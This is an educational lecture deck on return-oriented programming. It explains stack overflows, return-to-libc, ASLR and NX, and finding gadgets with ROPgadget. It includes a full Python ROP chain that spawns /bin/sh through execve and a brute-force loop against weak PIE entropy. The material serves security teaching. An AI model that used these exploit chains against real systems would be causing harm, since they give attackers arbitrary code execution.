An introduction to the Return Oriented Programming
Traditional Stack Overflow

- NOP Sled
- Payload
- Saved EIP
Traditional Stack Overflow

The simplest stack overflow exploit operates as follows:

1. Send a payload with a NOP sled, shellcode, and a pointer to the NOP sled
2. The pointer to the NOP sled overwrites the saved return address and thereby takes over the stored EIP
3. EIP now points to the machine code and the program executes arbitrary code
Evaluation

Pros

• Very easy to trigger
• Simple to understand
• Being able to inject code means our payloads are powerful and flexible

Cons

• Just make the stack non-executable
• Lots of problems with bad characters, buffer sizes, payload detection, etc.
Return-to-libc

Padding  system()  exit()  “/bin/sh”
Return-to-libc

- Used primarily to streamline exploitation to bypass mitigation and situational limitations

- We want to spawn a shell. Send a payload that overwrites the saved EIP with the address of system(), the address of exit(), and a pointer to “/bin/sh”

- The system call will return directly to exit() which will then shut down the program cleanly
Evaluation

• Pros
  ▫ Does not need executable stack
  ▫ Also pretty easy to understand and implement

• Cons
  ▫ Relies on access to library functions
  ▫ Can only execute sequential instructions, no branching or fancy stuff
  ▫ Can only use code in .text and loaded libraries
Mitigation against these classical attacks

- Address Space Layout Randomization
- No eXecute bit

There are other protections but we won't describe them in this lecture

- ASCII Armor
- FORTIFY_SOURCE
- Stack-smashing protection (SSP)
Address Space Layout Randomization

Map your Heap and Stack randomly
- At each execution, your Heap and Stack will be mapped at different places
- It's the same for shared libraries and VDSO

So, now you cannot jump on an hardened address like in a classical attack
Address Space Layout Randomization - Example

Two executions of the same binary:

<table>
<thead>
<tr>
<th>Address Range</th>
<th>Permissions</th>
<th>Alignment</th>
<th>Size</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>009c0000-009e1000</td>
<td>rw-p</td>
<td>00:00</td>
<td>0</td>
<td>[heap]</td>
</tr>
<tr>
<td>7fff329f5000-7fff32a16000</td>
<td>rw-p</td>
<td>00:00</td>
<td>0</td>
<td>[stack]</td>
</tr>
<tr>
<td>7fff32bde000-7fff32bdf000</td>
<td>r-xp</td>
<td>00:00</td>
<td>0</td>
<td>[vdso]</td>
</tr>
<tr>
<td>01416000-01437000</td>
<td>rw-p</td>
<td>00:00</td>
<td>0</td>
<td>[heap]</td>
</tr>
<tr>
<td>7fff2fa70000-7fff2fa91000</td>
<td>rw-p</td>
<td>00:00</td>
<td>0</td>
<td>[stack]</td>
</tr>
<tr>
<td>7fff2fb1c000-7fff2fb1d000</td>
<td>r-xp</td>
<td>00:00</td>
<td>0</td>
<td>[vdso]</td>
</tr>
</tbody>
</table>
Address Space Layout Randomization – Linux Internal

- Heap and Stack areas mapped at a pseudo-random place for each execution
NX bit is a CPU feature

- On Intel CPU, it works only on x86_64 or with Physical Address Extension (PAE) enable

Enabled, it raises an exception if the CPU tries to execute something that doesn't have the NX bit set

The NX bit is located and setup in the Page Table Entry
No eXecute bit – Paging Internals
**No eXecute bit – PTE Internal**

- The last bit is the NX bit (exb)
  - 0 = disabled
  - 1 = enabled
ROP Introduction


ROP definition

• Chain gadgets to execute malicious code.
• A gadget is a suite of instructions which end by the branch instruction ret (Intel) or the equivalent on ARM.

  - Intel examples:
    pop eax ; ret
    xor ebx, ebx ; ret
  - ARM examples:
    pop {r4, pc}
    str r1, [r0] ; bx lr

Objective: Use gadgets instead of classical shellcode
A gadget can contain other gadgets

- Because x86 instructions aren't aligned, a gadget can contain another gadget.

  f7c7070000000f9545c3 → test edi, 0x7 ; setnz byte ptr [rbp-0x3d] ; c7070000000f9545c3 → mov
dword ptr [rdi], 0xf000000 ; xchg ebp, eax ; ret

- Doesn't work on RISC architectures like ARM, MIPS, SPARC...
Why use the ROP?

- Gadgets are mainly located on segments without ASLR and on pages marked as executables
  - It can bypass the ASLR
  - It can bypass the NX bit
Road-map attack

• Find the needed Gadgets
• Store your gadgets addresses on the stack
  – You must to overwrite the saved eip with the address of your first gadget
CALL and RET semantics (Intel x86)

- **CALL semantic**

  ```
  ESP ← ESP – 4
  [ESP] ← NEXT(EIP) ; sEIP
  EIP ← OPERANDE
  ```

- **RET semantic**

  ```
  TMP ← [ESP] ; get the sEIP
  ESP ← ESP + 4 ; Align stack pointer
  EIP ← TMP ; restore the sEIP
  ```
Attack process on x86

- Gadget1 is executed and returns
- Gadget2 is executed and returns
- Gadget3 is executed and returns
- And so on until all instructions that you want are executed

- So, the real execution is:

```
pop    eax
xor    edx, edx
inc    ecx
```
Attack process on ARM

- This is exactly the same process but this time using this kind of gadgets:

```assembly
pop {r3, pc}
mov r0, r3 : pop {r4, r5, r6, pc}
pop {r3, r4, r5, r6, r7, pc}
```

- On ARM it's possible to *pop* a value directly in the program counter register (pc)
How can we find gadgets?

• Several ways to find gadgets
  
  Old school method: \textit{objdump} and \textit{grep}

  • Some gadgets will be not found: \textit{Objdump} aligns instructions

• Make your own tool which scans an executable segment

• Use an existing tool
Tools which can help you

- Rp++ by Axel Souchet [3]
- Ropc by patkt [5]
- Nrop by Aurelien wailly [6]
- ROPgadget by Jonathan Salwan [7]
ROPgadget tool

- ROPgadget is:
  - A gadgets finder and “auto-roper”
  - Using Python
  - Using Capstone engine
  - Support PE, ELF, Mach-O formats
  - Support x86, x64, ARM, ARM64, PowerPC, SPARC and MIPS architectures
ROPgadget tool – Quick example

- Display available gadgets

```
$ ./ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86-NDH-chall
0x08054487 : pop edi ; pop ebp ; ret 8
0x0806b178 : pop edi ; pop esi ; ret
0x08049fdb : pop edi ; ret
[...]
0x0804e76b : xor eax, eax ; pop ebx ; ret
0x0806a14a : xor eax, eax ; pop edi ; ret
0x0804aae0 : xor eax, eax ; ret
0x080c8899 : xor ebx, edi ; call eax
0x080c85c6 : xor edi, ebx ; jmp dword ptr [edx]
```

Unique gadgets found: 2447
ROPgadget tool – ROP chain generation in 5 steps

- Objective:

```c
int execve(const char *filename, char *const argv[], char *const envp[]);
```

- Step 1 - Write-what-where gadgets
  - Write “/bin/sh” in memory
- Step 2 - Init syscall number gadgets
  - Setup execve syscall number
- Step 3 - Init syscall arguments gadgets
  - Setup execve arguments
- Step 4 - Syscall gadgets
  - Find syscall interrupt
- Step 5 - Build the ROP chain
  - Build the python payload
Step 1
Write-what-where gadgets

- Step 1 -- Write-what-where gadgets
  [+ ] Gadget found: 0x80798dd mov dword ptr [edx], eax ; ret
  [+ ] Gadget found: 0x8052bba pop edx ; ret
  [+ ] Gadget found: 0x80a4be6 pop eax ; ret
  [+ ] Gadget found: 0x804aae0 xor eax, eax ; ret

- The edx register is the destination
- The eax register is the content
- xor eax, eax is used to put the null byte at the end
Step 2
Init syscall number gadgets

- Step 2 -- Init syscall number gadgets
[+] Gadget found: 0x804aae0 xor eax, eax; ret
[+] Gadget found: 0x8048ca6 inc eax; ret

- xor eax, eax is used to initialize the context to zero
- inc eax is used 11 times to setup the execeve syscall number
Step 3
Init syscall arguments gadgets

- Step 3 -- Init syscall arguments gadgets
  [+ ] Gadget found: 0x8048144 pop ebx ; ret
  [+ ] Gadget found: 0x80c5dd2 pop ecx ; ret
  [+ ] Gadget found: 0x8052bba pop edx ; ret

• int execve(const char *filename, char *const argv[], char *const envp[]);
  - pop ebx is used to initialize the first argument
  - pop ecx is used to initialize the second argument
  - pop edx is used to initialize the third argument
- Step 4 -- Syscall gadget

  [+ ] Gadget found: 0x8048ca8 int 0x80

- int 0x80 is used to raise a syscall exception
Step 5 - Build the ROP chain

```c
p += pack('<I', 0x08052bba) # pop edx ; ret
p += pack('<I', 0x080cd9a0) # @ .data
p += pack('<I', 0x080a4be6) # pop eax ; ret
p += '/bin'

p += pack('<I', 0x080798dd) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08052bba) # pop edx ; ret
p += pack('<I', 0x080cd9a8) # @ .data + 8
p += pack('<I', 0x0804aae9) # xor eax, eax ; ret
p += pack('<I', 0x080798dd) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08048144) # pop ebx ; ret
p += pack('<I', 0x080cd9a8) # @ .data
p += pack('<I', 0x080c5dd2) # pop ecx ; ret
p += pack('<I', 0x080cd9a8) # @ .data + 8
p += pack('<I', 0x08052bba) # pop edx ; ret
p += pack('<I', 0x080cd9a8) # @ .data + 8
p += pack('<I', 0x0804aae9) # xor eax, eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca6) # inc eax ; ret
p += pack('<I', 0x08048ca8) # int 0x80
```
Mitigation against the ROP attack

• Linux - Position-Independent Executable
  – Applies the ASLR on the section .text
    • Can be bypassed on old specific 32bits-based Linux distribution
  – PIC (Position-Independent Code) is used for library when a binary is compiled with PIE

• On Windows, ASLR can include the section .text
ASLR – Entropy not enough on certain old distribution

- Tested on a ArchLinux 32 bits in 2011
  - NX enable
  - ASLR enable
  - PIE enable
  - RELRO full

- If you don't have enough gadgets:
  - Choose yours in the libc Brute-force the base address
PIC/PIE – Entropy not enough on certain old distribution

- Brute-force the base address

```python
base_addr = 0xb770a000
p = "a" * 44
# execve /bin/sh generated by RopGadget v3.3
p += pack("<I", base_addr + 0x000007c1) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", base_addr + 0x00178020) # @ .data
p += pack("<I", 0x42424242) # padding
p += pack("<I", base_addr + 0x00025baf) # pop %eax | ret
p += "/bin"
[...]```
PIC/PIE – Entropy not enough on certain old distribution

- Wait for a few seconds

```bash
while true; do ./main \\
  "$('./exploit.py')"; done
```

```
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
[...]
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
sh$
```
ROP variants

- Jump Oriented Programming [8]
- String Oriented Programming [9]
- Blind Return Oriented Programming [10]
Jump Oriented Programming

- Use the `jump` instruction instead of the `ret` one

- “The attack relies on a gadget dispatcher to dispatch and execute the functional gadgets”

- “The “program counter” is any register that points into the dispatch table”
Jump Oriented Programming

The JOP model - This schema is a part of the reference paper [8]

(Jump-Oriented Programming: A New Class of Code-Reuse Attack)
String Oriented Programming

- SOP uses a format string bug to get the control flow
- SOP uses two scenario to get the control of the application
  - Direct control flow redirect
    - Erase the return address on the stack
      - Jump on a gadget which adjusts the stack frame to the attacker-controlled buffer
        - If the buffer is on the stack → we can use the ROP
        - If the buffer is on the heap → we can use the JOP
  - Indirect control flow redirect
    - Erase a GOT entry
      - Jump on a gadget (ROP scenario)
      - Jump on a gadgets dispatcher (JOP scenario)
Blind Return Oriented Programming

- BROP deals with the ROP and “timing attack”
- Constraints:
  - The vulnerability must be a stack buffer overflow
  - The target binary (server) must restart after the crash
- Scan the memory byte-by-byte to find potential gadgets
  - Try to execute the _write_ function/syscall to leak more gadget from the .text section
Signal Return Oriented Programming

- Uses the *SIGRETURN* Linux signal to load values from the stack to the registers
  - Store the values on the stack then raise the *SIGRETURN* syscall
  - Your registers will be initialized with the stack values
Open Problems & Challenges

- ROP chain mitigation
  - Heuristic ROP detection

- ROP chain generation via theorem solver
  - Use a SAT/SMT solver to build a ROP chain

- Gadgets finding via instruction semantics
  - Looking for gadgets based on their semantics
    - LOAD/STORE, GET/PUT
Conclusion

• The ROP is now a current operation and it's actively used by every attackers

• There is yet a lot of research around this attack like:
  ✓ ROP mitigation (heuristic, etc...)
  ✓ ROP chain generation
  ✓ Smart gadgets finding Etc...
References

[3] https://github.com/0vercl0k/rp
These slides contain material by Jonathan Salwan and Scott Hand